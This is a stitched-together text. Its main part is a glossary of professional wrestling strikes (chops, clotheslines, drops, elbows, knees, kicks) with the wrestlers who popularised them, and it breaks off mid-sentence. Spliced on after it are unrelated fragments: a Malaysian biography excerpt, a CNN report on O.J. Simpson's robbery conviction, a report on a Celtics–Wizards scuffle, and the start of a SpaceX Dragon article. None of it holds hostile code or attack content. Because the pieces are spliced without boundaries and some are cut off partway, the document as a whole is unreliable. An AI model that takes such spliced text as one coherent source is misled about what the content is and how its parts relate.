This move, innovated by, popularized and subsequently named after Lou Thesz, sees the attacking wrestler jumping towards a standing opponent, knocking them over their back, sitting on their waist and pinning them in a body scissors.[1] A variation, popularized by Stone Cold Steve Austin, involves an attacking standing wrestler performing a thesz press on a running opponent, then repeatedly striking the opponent in the face with mounted punches.
Vertical press
Also known as vertical splash body press, this variation is made by a charging wrestler (usually standing on the second or top rope) against a standing opponent, landing on their chest and shoulders while remaining upright, the wrestler employs the momentum to bring their opponent down to the mat into a seated senton.[1]
Chops
These are attacks performed by striking the opponent's neck, shoulders or chest with the edge of a hand.
Backhand chop
Also known as knife edge chop, is the act of a wrestler slice-chopping the chest of the opponent using an upwards backhand swing.[1] Many wrestlers use this attack, and the crowd commonly responds with a "Woooo!" noise in honor of Ric Flair, who popularized the move.
Cross chop
A double variation of the aforementioned chop, the wrestler lunges forward or jumps forward in a pressing fashion while crossing arms forming a "X", hitting both sides of the opponent's neck.
Spinning knife edge chop
This variation sets the wrestler spinning 180 or full 360° striking the opponent's chest with a backhand chop.
Kesagiri chop
A downward diagonal attack to the side of the opponent's neck or shoulder. The words kesa and giri in Japanese mean "monk's sash" and "cut" respectively, and it is based on a legitimate defensive cut in traditional Japanese swordsmanship.
Mongolian chop
The act of chopping both the opponent's shoulders or sides of the neck in a downward swinging motion at the same time.
Overhead chop
The wrestler draws a hand back and hits the opponent vertically, usually hitting the top of the head. This move is primarily used by very tall, large wrestlers such as The Great Khali and Andre the Giant.
Throat thrust
Also known as throat strike or sword stab. Similar to a conventional wrestling uppercut, the wrestler strikes the opponent's throat upwards with the tips of all five stiffed fingers of a supine hand. Abdullah the Butcher and Sgt. Slaughter were professional wrestlers known for its use as signature move.[1]
Thumb to the throat
A simple maneuver derived from the thumb chokehold having a wrestler drawing back a hand and striking the windpipe with only the thumb, sometimes while holding the opponent by the nape. Performed by wrestlers like Ernie Ladd and Umaga.[1]
Clothesline
A move in which one wrestler runs towards another extending their arm out from the side of the body and parallel to the ground, hitting the opponent in the neck or chest, knocking them over.[2] This move is often confused with a lariat.[3]
Josh Rogen clotheslines Eric Cairnie over the top rope and out of the ring.
Cactus clothesline
Popularized by Mick Foley and named after his "Cactus Jack" gimmick.[4] The attacking wrestler charges at an opponent against the ring ropes and clotheslines them, the charge's force and momentum knocks both the wrestler and the opponent over the top rope outside the ring.[4]
Corner clothesline
An attack used by a wrestler where instead of knocking down a standing opponent, aims to squash them against the turnbuckle.
Randy Reigns delivering a double-rebound clothesline to Josh Alexander (left) and Ethan Page
Double clothesline
Any variant where instead of aiming at just one opponent, the attacking wrestler knocks down two opponents at once.
Leaping clothesline
Also known as a jumping clothesline or a flying clothesline, this move involves the attacking wrestler running towards an opponent, then leaping into the air before connecting with a clothesline. This variant's use is commonly associated with The Undertaker and Roman Reigns. Another version sees an attacking wrestler leap up into the air and connecting with a clothesline onto an opponent leaning against the corner turnbuckle.
Rebound clothesline
As the opponent runs to the ropes on one side of the ring and rebounds against them, the attacker also runs to the same ropes and rebounds ensuring to be behind them and performs the clothesline as the opponent turns to face them.
Short-arm clothesline
This snapping variation is set up by a short-arm, then the wrestler pulls the opponent back and clotheslines them with the free arm.[1]
Three-point stance clothesline
In this attack a wrestler uses a three-point stance, then runs and clotheslines the opponent. Famously used by performers with known football background, such as "Hacksaw" Jim Duggan or "Mongo" McMichael.
Double axe handle
Also known as a double sledge or polish hammer after its most noted user, Ivan Putski. It sets an attacking wrestler clutching both hands together, swinging them downwards hitting usually the opponent's back, face, or top of the head. The many names of this move come from the attack mimicking the motion seen when people swing a sledgehammer or axe. There is also a top rope variation.
Drops
Attacks in which an attacking wrestler jumps and falls down onto an opponent on the floor, striking with a specific part of the body.
Chop drop
The wrestler either falls forward, or jumps up and drops down, hitting a lying opponent with a kesagiri chop on the way down, usually landing in a kneeling position.
Elbow drop
Gangrel performing an elbow drop onto his opponent
A move in which a wrestler jumps or falls down on an opponent driving their elbow into anywhere on the opponent's body.[1] A common elbow drop sees a wrestler raise one elbow before falling to one side and striking it across an opponent. Dwayne Johnson innovated the high impact elbow drop and called it "The People's Elbow".
Another common elbow drop is the pointed elbow drop, that sees a wrestler raise both elbows up and drop directly forward dropping one, or both elbows onto the opponent.
Corkscrew elbow drop
This variation sees the wrestler raise one elbow before falling and simultaneously twisting around as falls to one side, striking the opponent with the elbow anywhere on the body. Sometimes, the wrestler will swing one leg around before the fall, gaining momentum for the corkscrew twist, first invented by "Nature Boy" Buddy Landel in 1984.
Spinning headlock elbow drop
This is any elbow drop which is performed after applying a headlock, the most widely known variation is the inverted facelock elbow drop, in which a wrestler puts the opponent into an inverted facelock, and then turns 180°, dropping the elbow across the opponent's chest, driving them down to the mat.
Another variation of this move sees the executor use the whole arm as a lariat instead of just the elbow, a side headlock from a jumping position variant can also be executed, and twisted around into a sitout lariat. An inverted variation of this move sees the wrestler applying a front facelock before executing an elbow or a lariat to the back of the opponent's head causing them to land on the mat or into a facebreaker where the wrestler places their knee in front of the opponent whilst when executing the move.
Fist drop
A wrestler performs a series of theatrics before jumping or falling down, driving a fist usually to the opponent's forehead, the more theatrics the wrestler inputs on the move it is often referred to as delayed or falling fist drop. Popularized by wreslters like "The Million Dollar Man" Ted DiBiase and The Honky Tonk Man.
There is a snapping variation called karate fist drop that can be performed in a series, setting the wrestler besides a fallen opponent in a front stance known as Zenkutsu dachi. Then the wrestler drops to their rear leg's knee delivering the fist at the opponent's stomach, to rise up back again.[1]
Forearm drop
A move similar to a sliding forearm smash in which a wrestler jumps down on an opponent driving their forearm into anywhere on the opponent's body.[1]
Headbutt drop
A move setting an attacking wrestler jumping or falling down on an opponent, driving his head usually at the opponent's face or midsection. The most common variation sets the attacking wrestler standing at the fallen opponent's feet, taking them by the ankles to spread their legs. Then the attacker releases the grip as he/she jumps or falls down, delivering the forehead to the opponent's groin.[1]
Knee drop
A move in which a wrestler jumps/falls down on an opponent driving his knee into anywhere on the opponent's body.[1] It is often sold as more powerful if the wrestler bounces off the ropes first. A variation sets the wrestler kneeling besides a fallen opponent, then performing a handstand to drive their knee to the opponent's midsection.
Knee drop bulldog
A version that involves the wrestler placing one knee against the base of a bent over opponent's neck, then dropping to force the opponent down to the mat, landing on the opponent's upper body. There is also a diving version.
Leg drop
A whole number of attacks in which a wrestler will jump/fall and land the back of his leg across an opponent's chest, throat, or face.[1]
Elbow
An elbow attack sees the wrestler using front or back elbow to connect it in any part of the opponent's body.
Back elbow
Also known as reverse elbow, sees the wrestler giving the back with to a standing or running opponent, and then striking with the back of the elbow to the opponent's face, neck or chest.
Corner back elbow
The wrestler strikes a back elbow to a cornered opponent, lying (facing inwards or outwards the ring) against the corner. This is usually struck from a running wrestler.
Discus back elbow
The wrestler faces away from the opponent, spins around to face away from the opponent and strikes the opponent's face with a back elbow.
Bionic elbow
This move is a strike that is brought from a high position and travels vertically toward the floor, dropping the point of the elbow directly on the target. Often this will set an attacking wrestler bending an opponent over to deliver the elbow at the back of the opponent. This type of "12-6 elbow" is illegal in the Unified Rules of Mixed Martial Arts.[5]
Mounted elbow drop
The wrestler approaches to a cornered opponent, climbs the second or top rope beside the opponent with a leg on each side. The wrestler then jumps down off the ropes, delivering a bionic elbow to the opponent's head, neck (if the opponent's neck is bent-down or sideways) or the shoulder.
Elbow smash
The wrestler makes a punching motion, but tucks their hand towards the chest so the elbow and forearm make contact.[1] These can be used in place of punches, for striking with a clenched fist is illegal in most wrestling matches. A high impact version is used by Wade Barrett as his finishing move, The Bull hammer.
Discus elbow smash
Also called roaring elbow or rolling elbow, the wrestler facing away from the opponent, spins 180° from the stood direction striking with an elbow. Another variation sees the wrestler first facing the opponent, spinning a full 360° to face the opponent again while hitting them.
Short-arm elbow smash
This variation is set up by a wrestler performing an Irish whip but keeping the opponent's wrist held, then the wrestler pulls the opponent back and hits using the other arm's elbow.
Facewash
A maneuver aiming to hurt and/or humiliate an opponent, usually having them sitting or leaning the back of the head against the bottom corner turnbuckle, while the attacking wrestler repeatedly rub the boot's sole across their face. Once the maneuver is finished, the attacking wrestler can execute either a running kick, knee, drop or many other strikes that first sees them running towards or rebounding off the opposing ropes and charging at the fallen opponent.[1]
Boot lace eye-rake
A variation that sees the attacking wrestler placing their shin or instep over the opponent's face, and either pushing the opponent's head or their own leg down, raking the opponent's eyes across the laces of their boot.
Double boot scrape
With the opponent lying back on the mat, the wrestler stands at the opponent's top of the head and leaps to rake both points of the boots over the opponent's face, while falling back on their feet.
Spinning boot scrape
In the same sense, and as performed by Eddie Guerero, this move sees a wrestler putting one foot over the face of an opponent lying on the mat. As stepping, he/she spins around the point of their foot, rubbing the fallen opponent's face.
Forearm
In the same sense of an elbow or a knee, the attacking wrestler strikes the opponent using one or both forearms.
European uppercut
A forearm thrown in an uppercutting fashion, often the wrestler does a quick grapple first to bring the spare arm up inside, hitting the opponent under the chin.[1]
Forearm chops
The wrestler clenches both fists and rises both arms, striking the sides of a cornered opponent's head in a stabbing motion one forearm at the time. Popularized by Big Van Vader as the Vader Hammer.
Forearm club
An attacking wrestler uses one hand to take hold of an opponent by the nape or hair and leaning them forward while extending the other arm in a raised position, clenching the fist before throwing the forearm forward down onto the opponent, clubbing him / her across the back of the head/neck. This will often send the opponent to the mat front-first.[1]
Sheamus' Beats of the Bodhrán (inverted forearm clubs) to (inverted forearm clubs) to Wade Barrett
Inverted forearm club
A variation that sees the attacking wrestler take hold of an opponent and lean them backwards to expose the chest, allowing the attacking wrestler to club the opponent and send them to the mat back-first. Another variation sets the opponent into an inverted facelock by the wrestler as he/she clubs repeatedly the opponent's chest with their forearm.
Forearm smash
An attacking wrestler charges at the opponent and then hits the opponent in the chest or face upwards with a forearm to force them back and down to the mat.
Flying forearm smash
While running towards an opponent (usually after bouncing off the ropes), an attacking wrestler would leap up into the air, before connecting the forearm smash.
Sliding forearm smash
While running towards an opponent (usually after bouncing off the ropes), the attacking wrestler extends the forearm forward and does a slide across the mat before connecting.
Pistol whipping
A lesser used version that sees the wrestler standing over a crawling opponent on all fours, delivering the forearm inwards and sideways onto the opponent's temple repeatedly in a swinging motion. This move is named after the way some police officers used to submit a suspect by torture or in cases involving forced confession. Kurt Angle used to perform this maneuver as a mean to set an opponent up for a submission hold.[1]
Headbutt
An attack where a wrestler uses the head to strike a part of the opponent's body, usually the forehead or chin (unlike a legitimate headbutt), to daze him /her counting on the superior hardness of the wrestler's head and the momentum delivered to hurt the opponent without hurting the wrestler. Many wrestlers deliver a headbutt to an opponent's head by holding the opponent's head and delivering the headbutt to their own intervening hand instead, relying on it to cushion the blow.[1]
Battering ram
The wrestler stands facing an upright opponent, lowers the head and then jumps or charges forwards, driving the top of the head into the abdomen of the opponent. There is also a double-team version of the move.
Reverse battering ram
The attacking wrestler performs an Irish whip to the opponent and runs to bounce against the ropes front or side first at the other side of the ring, then jumps and turns mid-air to deliver a headbutt against the opponent's head. A popular move in Lucha libre, often associated to Rayo de Jalisco Jr.. There's another variation where after bouncing, the attacker jumps arching the back, plunging the top of the head into the opponent's chest.
Trapping headbutts
The wrestler holds both the opponent's arms under his / her own, and delivers a series of headbutts to the opponent, who is unable to counter.
Knee strike
An attack where a wrestler will strike an opponent using the knee. The idea of using knees as offensive weapon is popular throughout British wrestling.
Double knee
An attack where a charging wrestler jumps striking both knees simultaneously into the head, chest or back of the opponent.
Go 2 Sleep
Sometimes abbreviated to GTS, this move sees a wrestler place an opponent in a fireman's carry to drop the opponent in front of them. While the opponent is falling, the wrestler quickly lifts the left knee up, towards the opponent's face. Former WWE wrestler CM Punk is known for using the move.
Kenta, the creator of the original maneuver, also uses an inverted variation in which he lifts his opponent into an Argentine backbreaker rack, throwing the opponent forward, and striking his knee in the back of the opponent's head. He uses the original GTS as Hideo Itami in WWE since CM Punk retired from WWE.
A modified version, used by Tye Dillinger called the Tye Breaker, sees the wrestler performing the GTS but, rather than dropping the opponent in front of him to execute the move, throwing the legs of the opponent out backwards to rotate them 180°, before making the opponent land face first over the bent right knee.
High knee
A high knee
An attack in which a wrestler will charge towards the opponent, then jumps up and raises a knee to hit the opponent usually into the side of the head.[1] This move has been closely associated with Harley Race, often being referred to as a "Harley Race High-Knee". It has later been popularized as a signature move by WWE Superstars as Triple H and CM Punk.
Running single leg high knee
This variation, more akin to a running single leg dropkick, sees the attacking wrestler running and leaping towards the opponent while throwing one knee forwards to strike the opponent's face. This move was made popular in Japan by Kenta and later adopted by WWE wrestler Daniel Bryan.
Knee lift
An attack in which a wrestler brings the knee up to hit the opponent under the chin as if performing an uppercut. This can either be performed in mid clinch or with the attacking wrestler charging at a kneeling or bent over opponent, lifting the knee upwards to strike underneath the jaw or the side of the head.[1] A double variation sets a wrestler standing in front of the opponent, then while performing the mid clinch leaps throwing both knees upwards to strike the opponent's chin, and releases the hold to fall back on his / her feet.
Shining wizard
A strike created by The Great Muta delivered to an opponent down on one knee. After stepping off the opponent's raised knee with one foot, the wrestler swings the other leg and strikes the opponent's head with either the side of the knee or shin. A slight variation known as shining apprentice sees the wrestler use a running enzuigiri to the kneeling opponent's head without the use of the opponent's knee for leverage. Many other "shining" attacks exist, including big boots and dropkicks. The shining wizard can be applied to a standing opponent as well; this would be likely applied by stepping off the opponent's chest and then delivering a knee smash to the opponent's face. AJ Lee uses this move.
Spinning knee
Also known as a discus knee or rolling knee, the wrestler advances towards a sitting or bent over opponent, performs a 360° spin and uses the momentum to deliver a jumping knee strike to the opponent's head.
Kick
A kick in wrestling is an attack using any part of the foot or lower leg to strike the opponent's body or head.
Back kick
Involves the attacker originally facing his opponent. Then turning 180° and bending the rear leg at the knee or extending it backwards in full, exploiting the turning momentum to strike the opponent in the chest or stomach. Also known as reverse side kick or heel kick. It is a very popular attack in Mexico, known by its original name La Filomena, for it was innovated and named by Murciélago Velázquez.[1] A jumping back kick is a variation that involves the attacker conducting the turning motion while jumping.
Even though several other kicks may be confused with a back kick, it must be considered that this attacks are indistinctively applied heel/calf-first.
Calf kick
This kick starts with a standing wrestler jumping to either side, connecting the side of their lead leg's calf-heel cord area to the opponent's face or chest.
Leg lariat
Also referred to as jumping leg lariat or running calf kick, it sees an attacking wrestler charging towards an opponent, then taking a sidestep, he/she jumps and wraps their lead leg's kneepit around the opponent's head or neck knocking them to the ground. A variation has the attacking wrestler standing on the top turnbuckle or springboarding from the top rope to get the required height to execute it.
Spin kick
Also known as reverse roundhouse kick, it sees the attacking wrestler spinning 360° on their rear foot gaining power and momentum from spinning in place, then connecting their lead foot's heel/calf to a charging opponent's face.[1] It is common to see this move executed after an opponent is Irish whipped off the ropes. A short-arm variation is also possible.
Spinning heel kick
A jumping version of the spin kick that usually involves the wrestler spinning 360° so their body is somewhat horizontal before hitting the opponent with the back of their leg(s) or heel(s) on the opponent's face or chest.[1]
Dragon whip
This attack is performed after an opponent catches the leg of a wrestler who has attempted a kick of some sort (performing a maneuver known in wrestling as "Leg-feed"), then while the opponent throws the leg out away from himself, the wrestler continues spinning all the way out with his leg still extended to connect the kick.
Rolling wheel kick
Properly named Ajisegiri and also known as rolling koppu kick or rolling liger kick, it sets the wrestler rolling towards a standing opponent, extending a leg which connects with the back, chest, or head of the opponent.[1]
Scissors kick
Also known as jumping axe kick, this is a standing version of a leg drop performed on a bent over opponent usually in the middle of the ring. The wrestler bounces off the ropes, jumps, driving one leg into the back of the head / neck of the opponent, similar to a pair of scissors. Popularized by Booker T.[1]Alicia Fox uses this move.
Superkick
Often referred to as side kick or crescent kick, it sees the wrestler delivering a kick with the lead foot to the opponent's face, chin, neck or breastbone, usually preceded by a sidestep.[1] "Gentleman" Chris Adams is credited for its innovation.[6] It is famously the finisher of Shawn Michaels, who calls it Sweet Chin Music and occasionally adds theatrics before using the move. The Young Bucks also use the move. Carmella uses this as her finisher and so do the Usos
Sole kick
A thrust where the wrestler turns the torso away lifting one leg horizontally and extending it torwards the opponent, striking in the torso with the sole of their foot. A spin kick variation sees the wrestler spin around and then performing the kick with the outer leg, which is known as rolling sole butt in Japan. There is also jumping variation where the wrestler jumps straight up, spins in the air, and then delivers the sole butt with the outer leg targeting the head of the opponent.
A sole kick can be differentiated from any other because it is always applied with the ball/core of the foot in a thrusting fashion.
Big boot
Otherwise known as Yakuza kick. This attack is usually done with the opponent charging towards the wrestler, using the opponent's momentum to deliver the wrestler's sole to the upper-body or head.[1] This move is commonly performed by tall wrestlers to enhance its view as a strong attack even though the wrestler themselves are not moving and the opponent is running into the foot, and because of that their height makes it easy for their legs to reach the head of normal-sized wrestlers. There is also an arched variation of this move. Big Cass uses this move. Sami Zayn uses this move calling it the Helluva kick. Billie Kay also uses this move calling it the Shades of Kay.
Bicycle kick
Sheamus performing his Brogue Kick (running bicycle kick) on Randy Orton
An attacking wrestler jumps up and kicks forward with one foot after the other in a pedalling motion, with the foot that gets lifted second being extended fully to catch a charging opponent directly in the face. Another variation sees the attacking wrestler charge at a standing opponent before delivering the attack. Similar in effect to the big boot. This move is used by Sheamus as a finisher, the Brogue Kick.
Dropkick
An attack where the wrestler jumps up and kicks the opponent with the soles of both feet, this usually sees the wrestler twist as they jump so that when the feet connect with the opponent one foot is raised higher that the other (depending on which way they twist) and the wrestlers fall back to the mat on their side or front.[1] This is commonly employed by light and nimble wrestlers who can take advantage of their agility.
Legsweep
The wrestler drops to one knee and extends the other leg to knock away the opponent's legs, then quickly pivots their body around.
Mule kick
While facing away from a charging opponent, the wrestler bends down and pushes out one foot, striking the opponent with the bottom of it.[1] A double mule kick variation is usually done with the wrestler facing away from the opponent, bending over and making a handstand. If acrobatically inclined, the wrestler can then roll forward, back into a standing position. Sometimes done in a corner, the wrestler takes hold on the top rope and kicks backwards with both legs to the opponent, hitting with both soles.
Savate kick
The most commonly used savate kick in wrestling is the Chassé jambe arriére, a piston-action kick to an opponent's head or chin. This kick is often confused with the Superkick but it can be differentiated for it is performed from an upright stance with the rear foot, instead of the lead foot. Rusev calls it Machka Kick.
Toe kick
This kick, used by almost all wrestlers, is appealed just for show or as a setup for a hold or throw. The most common way to perform this attack sees the wrestler striking the opponent upwards in the midsection or stomach to bend the opponent over. Another variation sees the wrestler holding back their own foot with one hand, taking it up their side or lower back and releasing it, striking a bent over opponent in the back of the head.
This maneuver can be differentiated from any other kick noting that it is always performed striking with the point of the foot-instep-shin area.
Backflip kick
Also known as Pelé kick after the association football player, the attacker performs a standing back flip while having their back to the opponent. The attacker then hits the opponent in the head with one or both legs, with the wrestler usually landing on hands and feet facing downward. There are many variations of this maneuver since it can be performed from a backroll, a corckscrew, a handspring or a handstand.[1]
Corner backflip kick
This variation, also known as tiger wall flip and popularized by Satoru Sayama, sees an opponent propped up in the corner as an attacking wrestler charges towards them, running up the ropes (beside the opponent), or in some cases, up the opponent, and, as he/she reaches the top, kicking off the opponent's chest to perform a backflip so the wrestler lands on their hands and feet.[1]
Cartwheel kick
The wrestler performs a cartwheel towards the opponent, hitting them in the head with the rear leg's shin as it comes up in the air. Popularized by Ernest "The Cat" Miller.[1]
Crane kick
The wrestler first performs a crane stance, by standing on one leg, with the other knee raised and arms extended in a crane position. The wrestler then strikes the opponent's head or face with either the standing or raised leg.
Enzuigiri
The term Enzui is the Japanese word for medulla oblongata and giri means "to chop". Thus, an enzuigiri (often misspelled 'ensuigiri' or 'enzuiguri') is any attack that strikes the back of the head. It is usually associated with lighter weight class wrestlers, as well as wrestlers who have a martial arts background or gimmick. It is often used as a counter-move after a kick is blocked and the leg caught, or the initial kick is a feint to set up the real attack. A common variation of the enzuigiri sees the wrestler stepping up the opponent's midsection, and hitting the back of the opponent's head with the other foot.
Jumping high kick
Properly called Gamengiri (from the original Japanese Gamen / "face" and Giri / "Cut"), it is a variation of an enzuigiri where the wrestler jumps up not taking a step or hold with the lead foot and kicks the opponent in the side of the head/face. Sonya Deville uses this move.
Overhead kick
In this version, the wrestler either starts by lying down or dropping down on the mat while the opponent stands near to their head. The wrestler then throws a leg and kicks up over their waist and chest, hitting the opponent with the point of the foot, usually in the head. It can be used as a counter to an attack from behind. For example, an opponent attempts a full nelson, the wrestler breaks the opponent's lock by raising both arms, falling to the canvas back-first and kicking the opponent in the head with one foot.[1]
Shoot kick
A kickboxing-style kick with the shin (generally protected by a shin guard) striking an opponent's face, chest or thighs. This move is used in shoot-style environments and by many Japanese wrestlers. In WWE, Daniel Bryan popularized the shoot kicks as the Yes! Kicks while the crowd would respond with a chant of "Yes!" every time a kick connected.
Sometimes also referred to as soccer kick. The wrestler strikes an opponent sitting on the mat with the foot extended downwards vertically from the base of the spine to the back's midsection. Used by Katsuyori Shibata as the P.K. (penalty kick).
Punt
Based on the field goal kick but named for the punt kick used in American football, sees the wrestler taking a run up to a kneeling opponent and strike them in the head with the point of the foot. It is similar to the soccer kick in MMA. WWE wrestler Randy Orton performed this move as his finisher maneuver to cause storyline concussions.
Roundhouse kick
Properly speaking, a roundhouse kick in wrestling is a variation of a shoot kick with a slight difference. While in the later (a proper roundhouse kick in execuition) the attack stops after connecting the opponent, in a roundhouse kick the wrestler will keep spinning well passed a sitting/kneeling opponent's head or a standing opponent's ribcage, giving a 180 or even a full 360° turn.[1]
Tiger feint kick
A move in which a wrestler jumps through the second and top rope while holding on to the ropes, using the momentum to swing back around into the ring. Originally performed as a fake dive to make opponents and fans think that the |
Ian Ward (2006, ISBN 978-981-05-5141-4)
Legacy and in popular culture [ edit ]
Sybil is played by Jacintha Abisheganaden in the TV drama series The Price of Peace.
. In 2010, a 10-part miniseries drama based on her life was produced by Malaysian satellite television company Astro and Red Communications titled Apa Dosaku? (Malay: What Is My Sin? ). Sybil's role was played by model and actress Elaine Daly, who also happens to be Sybil's grandniece.
(Malay: ). Sybil's role was played by model and actress Elaine Daly, who also happens to be Sybil's grandniece. In 2016, Google Malaysia commemorated her 117th birthday with a special Doodle; depicting her in her former Papan residence.[2]
References [ edit ]LAS VEGAS, Nevada (CNN) -- O.J. Simpson faces the prospect of spending the rest of his life in prison after he and co-defendant Clarence "C.J." Stewart were found guilty on 12 charges, including armed robbery and kidnapping.
The jury reached the verdict 13 years to the day after O.J. Simpson was acquitted of two murders. more photos »
The case involved a Las Vegas, Nevada, hotel room confrontation over sports memorabilia. Simpson said the items had been stolen from him.
Friday's verdicts came 13 years to the day after a Los Angeles jury acquitted Simpson of killing his former wife, Nicole Brown Simpson, and her friend Ronald Goldman.
Goldman's father, Fred Goldman, was thrilled with the result.
"We're absolutely thrilled to see that the potential is that he could spend the rest of his life in jail, where the scumbag belongs," Goldman said Saturday. "Right now, there is not much more to say other than we're going to wait to find out what else happens."
The Las Vegas jury reached its verdict after about 13 hours of deliberations Friday.
Simpson sat quietly and showed little emotion at the defense table as he listened to the verdicts being read. Watch O.J. Simpson verdict being read »
Deputies then handcuffed Simpson and led him from the courtroom.
Simpson, 61, could get life in prison for these convictions. Clark County District Judge Jackie Glass set sentencing for December 5.
Defense attorney Yale Galanter spoke with Simpson after the verdict and said the former football star was "extremely upset, extremely emotional."
Galanter said he will file a motion for a new trial and appeal the case.
Simpson and Stewart were charged with 12 counts, including conspiracy to commit a crime, robbery, assault and kidnapping with a deadly weapon.
Carmelita Durio, Simpson's sister, sobbed as he was being escorted out of the courtroom, The Associated Press reported. As spectators left the courtroom, Durio collapsed, and paramedics were called, court spokesman Michael Sommermeyer said. Watch O.J. Simpson being removed from court »
Although Glass prohibited mention of the 1995 murder case during the robbery trial, it remained an unspoken undercurrent throughout.
"From the beginning, my biggest concern, and I told you this the day after Mr. Simpson was arrested, was whether jurors would be able to separate their very strong feelings about Mr. Simpson and judge him fairly, equally and honestly," Galanter said.
Stewart attorney Brent Bryson said he was shocked by the verdict and said his client was hurt by Simpson's notoriety.
"I'm in disbelief that a jury could come back and find all those counts and convict Mr. Stewart on all those counts," Bryson said. "The only explanation that is even conceivable is the spillover prejudice from sitting next to Mr. Simpson."
Simpson arrived at the Clark County Justice Center about 10:50 p.m. Simpson told CNN before the verdict was read that he was "apprehensive."
Prosecutors charged that Simpson led a group of men who used threats, guns and force to take photographs, footballs and other items from memorabilia dealers Bruce Fromong and Al Beardsley in September 2007.
But a defense attorney said Simpson was targeted by police out to get him and cohorts in order to make "big bucks" off him.
Neither Simpson nor Stewart testified during the trial, and witnesses gave sometimes conflicting and contradictory testimony.
Galanter said Simpson was a target of investigators from the very beginning. The case "has taken on a life of its own because of Mr. Simpson's involvement," he added.
"Every cooperator, every person who had a gun, every person who had an ulterior motive, every person who signed a book deal, every person who got paid money, the police, the district attorney's office is only interested in one thing: Mr. Simpson," Galanter said.
The most compelling evidence for both sides came from audiotapes.
For the prosecution, conversations taped by collectibles middleman Thomas Riccio took jurors from the poolside planning to the profanity-laced hotel room confrontation.
Riccio, a chatty sports memorabilia dealer and convicted felon, made the rounds on network news shows immediately after the hotel room fracas. He admitted on the stand that various media outlets paid him $210,000.
The crucial evidence for the defense came from two audiotapes: a voicemail from a key prosecution witness who seemed willing to tailor his testimony for a price and tapes of Las Vegas police officers laughing and joking about Simpson's Los Angeles acquittal following his arrest.
Galanter told jurors the surreptitious recording captured police investigators in the hotel room after the confrontation. "They're making jokes. They're saying things like, 'We're gonna get him,"' he said.
Police were called to the hotel about 8 p.m. September 13, 2007. Shortly after midnight, detectives visited Simpson at his hotel. He told them he was just trying to recover property that had been stolen from him.
"Why are they not in trouble?" Simpson asked about memorabilia dealers Beardsley and Fromong, according to police reports filed in the case. Both men testified for the prosecution, although Beardsley said Simpson did nothing wrong and was "set up" by the "rat Riccio."
Riccio, who was not charged in the case, testified that he didn't think twice about recording Simpson when asked for help retrieving what Simpson claimed was his property.
All four of the former co-defendants testified for the prosecution. Two of them tied Simpson to guns and threats.
Michael McClinton testified that Simpson instructed him to bring a gun and "look menacing" before they entered the hotel room.
Simpson has told police he had no idea the people with him were armed.
The testimony was laced with innuendo about unsavory activities by several of the witnesses, many with criminal records. Riccio and Beardsley feuded openly, calling each other names and questioning each other's sanity.
Aware that loose cannons on the stand could blow the case into mistrial purgatory, Glass refused to let David Cook testify. Cook, an attorney for the family of Ronald Lyle Goldman, searches for Simpson assets to satisfy the $33.5 million civil judgment against the former NFL star.
Simpson was acquitted of killing his ex-wife and Goldman in a trial that ended 13 years to the day before the Las Vegas jury began its deliberations.
Regarding Glass' ruling, Cook said, "If you read between the lines, I think she thought my appearance would bring up the Ghost of Christmas Past."
As testimony neared its end, Glass vented her frustration with the quibbling lawyers.
"I'm trying to get this trial back on track," she snapped. "I am surprised you haven't seen my head spin and fire come out of my mouth at this point in this trial."
CNN's Ted Rowlands contributed to this report.
All About O.J. Simpson • Criminal Trials • Las VegasBOSTON -- Five Boston police officers stood guard between the locker rooms of the Celtics and Washington Wizards after tempers flared following the final buzzer of Wednesday's game at TD Garden.
Members of both teams had to be separated when Washington's John Wall and Boston's Jae Crowder got into an on-court dustup after the Celtics' 117-108 triumph.
Editor's Picks With Floyd Mayweather in the house, Isaiah Thomas delivers knockout punch Celtics point guard Isaiah Thomas put on a show Wednesday in front of Floyd Mayweather, hitting the Wizards with a fourth-quarter haymaker.
Crowder could be seen putting his finger in Wall's face after the two exchanged words, and Wall appeared to land a quick open-hand slap before teammates and staffers rushed in to prevent a further escalation. Wall took another swipe at Crowder in the scrum, which left Boston's Marcus Smart and Terry Rozier trying to confront him.
Celtics guard Isaiah Thomas, who scored 20 of his game-high 38 points in the fourth quarter, was about to do an on-court interview but rushed over with two Celtics assistant coaches to pry Boston players back toward their tunnel. Shouting appeared to continue between the two teams as players entered their respective locker rooms, which are in close proximity.
"Just some altercation. We knew there was going to be some trash-talking," Wall said. "We knew it was going to be a physical game. That's all it was: Just a little trash-talking and a physical game."
Crowder didn't care to discuss what flared the incident.
"I don't know what you're talking about. I ain't got no comment about that," he said. "You want to talk about the game? Anyone want to talk about the game?"
Earlier in the contest, Smart and Bradley Beal had a confrontation in the second half and were separated by teammates. Beal was assessed a technical foul for his part.
Asked if it's tough to keep cool heads on the court, Crowder said simply, "[The game] was a good fight. Both teams kind of went back-to-back, so the effort was sure there. Just two teams playing hard."
The jovial Thomas tried to broker peace between the two teams by joking about the presence of his friend, boxer Floyd Mayweather, who was sitting across from the Wizards' bench.
"I just tell guys, 'Keep it hoop. Nobody's built [to fight] but the guy that was in the front row,'" joked Thomas. "So just keep it hoop and move on to the next one."
Washington's Otto Porter Jr. suggested that the Celtics played dirty. Thomas brushed that off.
"It's not us. I know that," Thomas said. "We ain't gonna be running and telling. That's what we're not going to do. But we're not a dirty team. That's not what the Celtics are about. We play hard. So if playing hard is dirty, then I guess we are a dirty team. But there was no dirty play. I didn't see none. It's just a lot of chatter. That's what guys do."
"I don't play dirty," Thomas added. "I'll talk. That's the name of the game. You talk. You want to compete. You can talk trash. But just as a man, don't disrespect nobody. And if you don't disrespect nobody, it won't turn into nothing else."
Celtics coach Brad Stevens said he ushered a couple of his players into the locker room when he heard the commotion and simply reminded his team to keep its cool. The police presence quickly defused any escalation, and Stevens arrived at his postgame news conference soon afterward.
"I heard what was going on in the tunnel," Stevens said. "All I did was walk out. There were only two guys that were walking in from the court from our team, and I just said, 'Get in the locker room.' And then I talked to the team about what we represent, and that's it."
Asked about the message from Stevens, Celtics big man Al Horford said, "I don't think I'm supposed to discuss anything, but it was just keep our heads and we're playing for bigger things."
The Celtics and Wizards have had a series of incidents over the past two seasons. Earlier this season, Smart and Wall exchanged words during the Wizards' lopsided win in November. Last season, Crowder accused former Wizards coach Randy Wittman of cursing at him and got a technical for barking back at the coach from the court.NewsAlert
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SpaceX proposes rocket-powered landing system
BY STEPHEN CLARK
SPACEFLIGHT NOW
Posted: January 18, 2011
LOS ANGELES -- SpaceX announced Monday it submitted a proposal to NASA last month to start an estimated $1 billion process upgrading the company's Dragon capsule, the first step in making the ship ready for crew rotation flights to the International Space Station.
Artist's concept of the Dragon spacecraft maneuvering in orbit. Credit: SpaceX
